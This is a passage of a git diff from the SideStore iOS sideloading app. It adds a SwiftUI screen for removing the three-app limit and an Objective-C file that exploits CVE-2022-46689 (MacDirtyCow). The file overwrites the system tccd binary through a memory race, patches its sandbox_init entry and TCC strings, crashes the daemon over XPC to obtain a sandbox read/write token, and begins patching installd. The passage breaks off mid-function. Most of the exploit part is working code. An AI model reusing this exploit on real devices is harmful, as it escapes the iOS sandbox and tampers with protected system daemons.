// #if false
|
||||
// let documentDirectory = FileManager.default.urls(
|
||||
// for: .documentDirectory,
|
||||
// in: .userDomainMask
|
||||
// )[0].path
|
||||
//
|
||||
// let pathToRealTarget = originPath
|
||||
// let originPath = documentDirectory + originPath
|
||||
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
|
||||
// try! origData.write(to: URL(fileURLWithPath: originPath))
|
||||
// #endif
|
||||
//
|
||||
// // open and map original font
|
||||
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
|
||||
// if fd == -1 {
|
||||
// print("Could not open target file")
|
||||
// return false
|
||||
// }
|
||||
// defer { close(fd) }
|
||||
// // check size of font
|
||||
// let originalFileSize = lseek(fd, 0, SEEK_END)
|
||||
// guard originalFileSize >= replacementData.count else {
|
||||
// print("Original file: \(originalFileSize)")
|
||||
// print("Replacement file: \(replacementData.count)")
|
||||
// print("File too big!")
|
||||
// return false
|
||||
// }
|
||||
// lseek(fd, 0, SEEK_SET)
|
||||
//
|
||||
// // Map the font we want to overwrite so we can mlock it
|
||||
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
|
||||
// if fileMap == MAP_FAILED {
|
||||
// print("Failed to map")
|
||||
// return false
|
||||
// }
|
||||
// // mlock so the file gets cached in memory
|
||||
// guard mlock(fileMap, replacementData.count) == 0 else {
|
||||
// print("Failed to mlock")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// // for every 16k chunk, rewrite
|
||||
// print(Date())
|
||||
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
|
||||
// print(String(format: "%lx", chunkOff))
|
||||
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
|
||||
// var overwroteOne = false
|
||||
// for _ in 0..<2 {
|
||||
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
|
||||
// unalign_csr(
|
||||
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
|
||||
// )
|
||||
// }
|
||||
// if overwriteSucceeded {
|
||||
// overwroteOne = true
|
||||
// print("Successfully overwrote!")
|
||||
// break
|
||||
// }
|
||||
// print("try again?!")
|
||||
// }
|
||||
// guard overwroteOne else {
|
||||
// print("Failed to overwrite")
|
||||
// return false
|
||||
// }
|
||||
// }
|
||||
// print(Date())
|
||||
// print("Successfully overwrote!")
|
||||
// return true
|
||||
// }
|
||||
//
|
||||
// func readFile(path: String) -> String? {
|
||||
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||
// }
|
||||
#endif
|
||||
33
AltStore/MDC/MDC+AltStoreCore.swift
Normal file
@@ -0,0 +1,33 @@
|
||||
//
|
||||
// MDC+AltStoreCore.swift
|
||||
// AltStoreCore
|
||||
//
|
||||
// Created by naturecodevoid on 5/31/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
// Parts of MDC we need in AltStoreCore
|
||||
// TODO: destroy AltStoreCore
|
||||
|
||||
public class MDC {
|
||||
#if MDC
|
||||
public static var installdHasBeenPatched: Bool {
|
||||
guard let lastInstalldPatchBootTime = UserDefaults.shared.lastInstalldPatchBootTime else { return false }
|
||||
return lastInstalldPatchBootTime == bootTime()
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#if MDC
|
||||
public func bootTime() -> Date? {
|
||||
var tv = timeval()
|
||||
var tvSize = MemoryLayout<timeval>.size
|
||||
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
|
||||
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
|
||||
return nil
|
||||
}
|
||||
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
|
||||
}
|
||||
#endif
|
||||
99
AltStore/MDC/Remove3AppLimitView.swift
Normal file
@@ -0,0 +1,99 @@
|
||||
//
|
||||
// Remove3AppLimitView.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by naturecodevoid on 5/29/23.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#if MDC
|
||||
import SwiftUI
|
||||
import AltStoreCore
|
||||
|
||||
fileprivate extension View {
|
||||
func common() -> some View {
|
||||
self
|
||||
.padding()
|
||||
.transition(.opacity.animation(.linear))
|
||||
}
|
||||
}
|
||||
|
||||
struct Remove3AppLimitView: View {
|
||||
@ObservedObject private var iO = Inject.observer
|
||||
|
||||
@State var runningPatch = false
|
||||
@State private var showErrorAlert = false
|
||||
@State private var errorAlertMessage = ""
|
||||
@State private var showSuccessAlert = false
|
||||
|
||||
@ViewBuilder
|
||||
private var notSupported: some View {
|
||||
Text(L10n.Remove3AppLimitView.notSupported)
|
||||
}
|
||||
|
||||
@ViewBuilder
|
||||
private var installdHasBeenPatched: some View {
|
||||
Text(L10n.Remove3AppLimitView.alreadyPatched)
|
||||
Text(L10n.Remove3AppLimitView.tenAppsInfo)
|
||||
}
|
||||
|
||||
@ViewBuilder
|
||||
private var applyPatch: some View {
|
||||
Text(L10n.Remove3AppLimitView.patchInfo)
|
||||
Text(L10n.Remove3AppLimitView.tenAppsInfo)
|
||||
}
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
if !MDC.isSupported {
|
||||
notSupported.common()
|
||||
} else {
|
||||
if MDC.installdHasBeenPatched {
|
||||
installdHasBeenPatched.common()
|
||||
} else {
|
||||
applyPatch.common()
|
||||
SwiftUI.Button(action: {
|
||||
Task {
|
||||
do {
|
||||
guard !runningPatch else { return }
|
||||
runningPatch = true
|
||||
|
||||
try await MDC.patch3AppLimit()
|
||||
|
||||
showSuccessAlert = true
|
||||
} catch {
|
||||
errorAlertMessage = error.message()
|
||||
showErrorAlert = true
|
||||
}
|
||||
runningPatch = false
|
||||
}
|
||||
}) { Text(L10n.Remove3AppLimitView.applyPatch) }
|
||||
.buttonStyle(FilledButtonStyle(isLoading: runningPatch, hideLabelOnLoading: false))
|
||||
.padding()
|
||||
}
|
||||
}
|
||||
Spacer()
|
||||
}
|
||||
.alert(isPresented: $showErrorAlert) {
|
||||
Alert(
|
||||
title: Text(L10n.AsyncFallibleButton.error),
|
||||
message: Text(errorAlertMessage)
|
||||
)
|
||||
}
|
||||
.alert(isPresented: $showSuccessAlert) {
|
||||
Alert(
|
||||
title: Text(L10n.Action.success),
|
||||
message: Text(L10n.Remove3AppLimitView.success)
|
||||
)
|
||||
}
|
||||
.navigationTitle(L10n.Remove3AppLimitView.title)
|
||||
.enableInjection()
|
||||
}
|
||||
}
|
||||
|
||||
struct Remove3AppLimitView_Previews: PreviewProvider {
|
||||
static var previews: some View {
|
||||
Remove3AppLimitView()
|
||||
}
|
||||
}
|
||||
#endif
|
||||
8
AltStore/MDC/grant_full_disk_access.h
Normal file
@@ -0,0 +1,8 @@
|
||||
#ifdef MDC
|
||||
#pragma once
|
||||
@import Foundation;
|
||||
|
||||
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool patch_installd(void);
|
||||
#endif /* MDC */
|
||||
612
AltStore/MDC/grant_full_disk_access.m
Normal file
@@ -0,0 +1,612 @@
|
||||
#ifdef MDC
|
||||
@import Darwin;
|
||||
@import Foundation;
|
||||
@import MachO;
|
||||
|
||||
#import <mach-o/fixup-chains.h>
|
||||
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||
// WDBFontOverwrite
|
||||
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||
// Please don't call this code on iOS 14 or below
|
||||
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||
#import "grant_full_disk_access.h"
|
||||
#import "helpers.h"
|
||||
#import "vm_unaligned_copy_switch_race.h"
|
||||
|
||||
typedef NSObject* xpc_object_t;
|
||||
typedef xpc_object_t xpc_connection_t;
|
||||
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||
xpc_object_t _Nullable const* values, size_t count);
|
||||
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||
uint64_t flags);
|
||||
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||
void xpc_connection_resume(xpc_connection_t connection);
|
||||
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||
xpc_object_t message);
|
||||
xpc_object_t xpc_bool_create(bool value);
|
||||
xpc_object_t xpc_string_create(const char* string);
|
||||
xpc_object_t xpc_null_create(void);
|
||||
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||
|
||||
int64_t sandbox_extension_consume(const char* token);
|
||||
|
||||
// MARK: - patchfind
|
||||
|
||||
struct grant_full_disk_access_offsets {
|
||||
uint64_t offset_addr_s_com_apple_tcc_;
|
||||
uint64_t offset_padding_space_for_read_write_string;
|
||||
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
|
||||
uint64_t offset_auth_got__sandbox_init;
|
||||
uint64_t offset_just_return_0;
|
||||
bool is_arm64e;
|
||||
};
|
||||
|
||||
static bool patchfind_sections(void* executable_map,
|
||||
struct segment_command_64** data_const_segment_out,
|
||||
struct symtab_command** symtab_out,
|
||||
struct dysymtab_command** dysymtab_out) {
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
|
||||
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||
load_command_index++) {
|
||||
switch (load_command->cmd) {
|
||||
case LC_SEGMENT_64: {
|
||||
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||
*data_const_segment_out = segment;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case LC_SYMTAB: {
|
||||
*symtab_out = (struct symtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
case LC_DYSYMTAB: {
|
||||
*dysymtab_out = (struct dysymtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
}
|
||||
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
|
||||
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||
return last_section->offset + last_section->size;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
if ((val & 0xfffffffful) == str_file_offset) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
|
||||
// TCCDSyncAccessAction::sequencer
|
||||
// mov x0, #0
|
||||
// ret
|
||||
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
struct segment_command_64* data_const_segment,
|
||||
struct symtab_command* symtab_command,
|
||||
struct dysymtab_command* dysymtab_command,
|
||||
const char* target_symbol_name) {
|
||||
uint64_t target_symbol_index = 0;
|
||||
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||
struct nlist_64* sym =
|
||||
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
|
||||
if (strcmp(sym_name, target_symbol_name)) {
|
||||
continue;
|
||||
}
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
|
||||
target_symbol_index = sym_index;
|
||||
break;
|
||||
}
|
||||
|
||||
struct section_64* section_array =
|
||||
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* first_section = §ion_array[0];
|
||||
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||
strcmp(first_section->sectname, "__got") == 0)) {
|
||||
return 0;
|
||||
}
|
||||
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
|
||||
|
||||
for (int i = 0; i < first_section->size; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
|
||||
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||
return first_section->offset + i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool patchfind(void* executable_map, size_t executable_length,
|
||||
struct grant_full_disk_access_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_com_apple_tcc_ =
|
||||
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
|
||||
printf("no com.apple.tcc. string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_padding_space_for_read_write_string =
|
||||
patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
|
||||
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
printf("no kTCCServiceMediaLibrary string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_auth_got__sandbox_init =
|
||||
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
|
||||
dysymtab_command, "_sandbox_init")) == 0) {
|
||||
printf("no sandbox_init\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
|
||||
0) {
|
||||
printf("no just return 0\n");
|
||||
return false;
|
||||
}
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// MARK: - tccd patching
|
||||
|
||||
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||
// re-use it until next reboot.
|
||||
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||
NSLog(@"xpc event handler: %@", object);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
const char* keys[] = {
|
||||
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
"target_token", "background_session",
|
||||
};
|
||||
xpc_object_t values[] = {
|
||||
xpc_string_create("17087.1"),
|
||||
xpc_string_create("TCCAccessRequest"),
|
||||
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
};
|
||||
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||
#if 0
|
||||
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||
NSLog(@"%@", response_message);
|
||||
|
||||
#endif
|
||||
xpc_connection_send_message_with_reply(
|
||||
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||
^(xpc_object_t object) {
|
||||
if (!object) {
|
||||
NSLog(@"object is nil???");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"response: %@", object);
|
||||
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||
NSLog(@"xpc error?");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"debug description: %@", [object debugDescription]);
|
||||
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||
NSString* extension_nsstring =
|
||||
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||
completion(extension_nsstring);
|
||||
});
|
||||
}
|
||||
|
||||
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||
struct grant_full_disk_access_offsets offsets = {};
|
||||
if (!patchfind(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
{
|
||||
// rewrite com.apple.tcc. into blank string
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
|
||||
}
|
||||
{
|
||||
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
|
||||
// we need to stick this somewhere; just put it in the padding between
|
||||
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
|
||||
"com.apple.app-sandbox.read-write");
|
||||
struct dyld_chained_ptr_arm64e_rebase targetRebase =
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary);
|
||||
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
|
||||
targetRebase;
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
|
||||
strlen("com.apple.app-sandbox.read-write");
|
||||
}
|
||||
if (offsets.is_arm64e) {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
|
||||
.auth = 1,
|
||||
.bind = 0,
|
||||
.next = 1,
|
||||
.key = 0, // IA
|
||||
.addrDiv = 1,
|
||||
.diversity = 0,
|
||||
.target = offsets.offset_just_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
} else {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_64_rebase targetRebase = {
|
||||
.bind = 0,
|
||||
.next = 2,
|
||||
.target = offsets.offset_just_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool overwrite_file(int fd, NSData* sourceData) {
|
||||
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||
bool success = false;
|
||||
for (int i = 0; i < 2; i++) {
|
||||
if (unaligned_copy_switch_race(
|
||||
fd, off, sourceData.bytes + off,
|
||||
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!success) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
|
||||
NSError* _Nullable error)) {
|
||||
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
if (fd == -1) {
|
||||
// iOS 15.3 and below
|
||||
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
}
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = patchTCCD(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:5
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
completion(
|
||||
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:1
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||
@"not be vulnerable to CVE-2022-46689."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
|
||||
xpc_crasher("com.apple.tccd");
|
||||
sleep(1);
|
||||
call_tccd(^(NSString* _Nullable extension_token) {
|
||||
overwrite_file(fd, originalData);
|
||||
xpc_crasher("com.apple.tccd");
|
||||
NSError* returnError = nil;
|
||||
if (extension_token == nil) {
|
||||
returnError =
|
||||
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:2
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
|
||||
}];
|
||||
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||
returnError = [NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:3
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
|
||||
@"instead of an app sandbox token."
|
||||
}];
|
||||
extension_token = nil;
|
||||
}
|
||||
completion(extension_token, returnError);
|
||||
});
|
||||
}
|
||||
|
||||
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||
// class introduced in iOS 15.0.
|
||||
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:6
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey :
|
||||
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
|
||||
@"reverted after reboot, so running this may permanently corrupt tccd."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||
inDomains:NSUserDomainMask][0];
|
||||
NSURL* sourceURL =
|
||||
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
|
||||
NSError* error = nil;
|
||||
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
if (cachedToken) {
|
||||
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||
if (handle > 0) {
|
||||
// cached version worked
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
}
|
||||
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||
if (error) {
|
||||
completion(error);
|
||||
return;
|
||||
}
|
||||
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||
if (handle <= 0) {
|
||||
completion([NSError
|
||||
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:4
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||
return;
|
||||
}
|
||||
[extension_token writeToURL:sourceURL
|
||||
atomically:true
|
||||
encoding:NSUTF8StringEncoding
|
||||
error:&error];
|
||||
completion(nil);
|
||||
});
|
||||
}
|
||||
|
||||
/// MARK - installd patch
|
||||
|
||||
struct installd_remove_app_limit_offsets {
|
||||
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||
uint64_t offset_data_const_end_padding;
|
||||
// MIUninstallRecord::supportsSecureCoding
|
||||
uint64_t offset_return_true;
|
||||
};
|
||||
|
||||
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
|
||||
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||
.offset_data_const_end_padding = 0x79c38,
|
||||
.offset_return_true = 0x19860,
|
||||
};
|
||||
|
||||
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
|
||||
size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
if ((val & 0xfffffffful) != str_file_offset) {
|
||||
continue;
|
||||
}
|
||||
// baseMethods
|
||||
if (*(uint64_t*)(executable_map + i + 8) != 0) {
|
||||
return i + 8;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
|
||||
// mov w0, #1
|
||||
// ret
|
||||
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
}
|
||||
|
||||
static bool patchfind_installd(void* executable_map, size_t executable_length,
|
||||
struct installd_remove_app_limit_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
|
||||
"MIInstallableBundle")) == 0) {
|
||||
printf("no MIInstallableBundle class_rw_t\n");
|
||||
return false;
|
||||
}
|
||||
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||
(*(uint64_t*)(executable_map +
|
||||
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||
0xffffffull;
|
||||
|
||||
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
|
||||
0) {
|
||||
printf("no return true\n");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
struct objc_method {
|
||||
int32_t name;
|
||||
int32_t types;
|
||||
int32_t imp;
|
||||
};
|
||||
|
||||
struct objc_method_list {
|
||||
uint32_t entsizeAndFlags;
|
||||
uint32_t count;
|
||||
struct objc_method methods[];
|
||||
};
|
||||
|
||||
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||
uint64_t new_offset, uint64_t* out_copied_length,
|
||||
void (^callback)(const char* sel,
|
||||
uint64_t* inout_function_pointer)) {
|
||||
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||
*out_copied_length =
|
||||
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||
new_list->count = original_list->count;
|
||||
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||
struct objc_method* method = &original_list->methods[method_index];
|
||||
// Relative pointers
|
||||
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||
uint64_t types_file_offset =
|
||||
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||
callback(sel, &imp_file_offset);
|
||||
|
||||
struct objc_method* new_method = &new_list->methods[method_index];
|
||||
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||
